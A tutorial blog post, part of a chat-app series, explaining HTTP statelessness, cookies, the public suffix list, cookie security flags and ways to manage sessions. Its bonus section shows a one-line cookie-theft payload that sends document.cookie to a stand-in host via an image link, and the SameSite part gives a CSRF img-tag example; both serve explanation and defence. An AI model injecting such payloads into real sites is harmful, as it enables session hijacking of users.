Chat App - understanding session

We are now able to register and login in our chat application. We can't maintain session. But, what is session? If you know about HTTP protocol, cookies and session you can skip this blog in the series. In this blog, I am going over some basic concepts.

What is HTTP?

HTTP is an application layer protocol. Its allow us to communicate with other application that can understand HTTP protocol. Usually client send some headers and body to the server, called request, and based on that server send response with response headers and data. A typical request looks like

2020-05-14_02-32.png

Properties of HTTP

  1. HTTP requires reliable transport layer protocol that doesn't lose messages or at least generate an error. HTTP commonly uses TCP transport layer protocol since TCP provides reliability. TCP is a connection based protocol. You have to establish a connection first between client and server before you can use TCP. This is done by a series of handshakes. HTTP doesn't require connection based transport layer protocol and you can switch with any other protocol as long as protocol is reliable.

  2. HTTP is a stateless protocol. This means we cannot normally distinguish between 2 consecutive HTTP messages between same client and server. This is the problem we are facing now in our chat application. We have authenticated the user but still we cannot identify the user from 2nd request.

  3. HTTP is extensible. It basically means we can add extra protocol (headers) on top of the HTTP without any effort and it just works. Both parties (client and server) do have to understand extra header meaning. If they don't extra definition will get ignored and request may or may not fail.

Before we understand session we need to understand cookies. Just know that session are maintained using cookies (will call that session cookie).

Cookies

They are key value pairs that stores in client browser. A typical cookie looks like this:

cookies.png

To set a cookie, in your response you add Set-Cookie header. To add multiple cookies you have to add multiple Set-Cookie header. In the above pic, you can see other parameters such as domain, path, httpOnly etc. You can set them by passing extra information in the Set-Cookie header.

For example: Set-Cookie: user=Govind; Expires=Mon 21 Oct 2030; Secure; HttpOnly; will set the user cookie with Govind value. It also set the expiry cookies and set Secure and HttpOnly flag to true.

If domain is not mentioned then browser will set the domain from the address bar. Domain value is restricted to full domain or sub-domain. As a security mechanism you cannot read or write cookies for other domain. This is good because many sites provide authentication support based on cookies.

Can you set cookie for .com domain? No! This rule is defined by public suffix list. Rules and algorithm is defined here.

Go and search github.io in the list. You find one there. This basically means abc.github.io cannot set cookie for github.io. Reason for this is if abc by mistake set cookie for github.io then attacker.github.io can steal the cookie. This rule prevents that.

Cookies security mechanism is different from rest of the browser, called same origin principle. Cookies came before same origin principle and therefore we are stuck with it. They are easy to stole if your web-site is not correctly configured.


Bonus section:

This blog URL is https://govind-vijay.hashnode.dev and hashnode.dev is not in the public suffix list. So you can set the cookie on the subdomain hashnode.dev. In your browser console type document.cookie="test=value;domain=hashnode.dev;" Go ahead and check the cookie in your browser storage and note the domain parameter. You cannot do this withgithub.io`.

Note: This does not mean hashnode.dev is insecure. I cannot run JavaScript code in hashnode.dev and therefore cannot steal your cookie. More precisely, I did not find a way and nor I tried that much harder. Theoretically you can do something like [my_image](https://stealing-cookie?cookies=" + document.cookie. You will see a nice image and I will have your cookie. With HTML escaping this is preventable and I think they are doing that.


Incremental cookies

Basically new features for cookies to make them more secure. Cookies flag HttpOnly, SameSite and Secure are part of the incremental cookies.

  1. HttpOnly disable the JavaScript access to the cookie. Useful for session cookie. Prevents from XSS attacks.
  2. Secure flag will not send cookies to HTTP protocol. Only HTTPS can access these cookies.
  3. SameSite: attacker can set up its own site and can embed image like <img src="youtube.com?delete=1234>. Since you are logged on YouTube you will have session cookie. Browser will simply add the session cookie and your uploaded video will get deleted. Using SameSite will prevent that. It has 3 settings: Lax, Strict, None. If for example, YouTube uses strict then if you click on youtube.com you will get presented with logged out page since your cookies did not get sent. Lax in this case allows cookies to get send and you will have your personalized page. Most of the time you want Lax.

Most of the dev still hasn't adopted incremental cookies. So browser are starting to set default values for these flags if they are absent while setting the cookie. I think, not sure, Chrome is doing that and for Firefox it is beta phase.

Using cookies for session

  • Solution 1: When user signs in set a cookie userId=1234. Next time read this cookie and you can serve the authenticate page for 1234 user. Problem with this approach is I can simply change the value of the cookie and can impersonate some other user.

  • Solution 2: Sign the cookie Sign the 1234 value and append the signature to 1234 and store it as a cookie. Now you will set userId=1234#273auw78husdu8wwn where everything after # is signature. Now if userId is changed signature will not match. Instead of using signature you can also use encrypt userId. Using this method we are saving server side storage.
    If attacker get hold of this cookie he/she can use it and there is no way to destroy the session. Even if actual user sign out or change password, attacker still have cookie with valid signature. Server can use new private key but in this case if one user sign out everyone has to log in again.

  • Solution 3: Set some value session value in a cookie and on the server side keep the corresponding mapping. If user1 sign in then set a cookie sessionId=1 and on server side map value 1 with userId 1234. Now if user 1234 signs out we can destroy the mapping on the server side and no one can use the same cookie again. There is one problem attacker can change the sessionId to 2 in the browser and if corresponding mapping exist attacker can impersonate other user.
    We can sign or encrypt the sessionId. This will work as long as we are using each sessionId once.

  • Solution 4: Instead of going with signature or encryption approach use cryptographically secure hard to guess random value for sessionId. Simple random generator are pseudo random generator and you can guess or regenerate the sequence.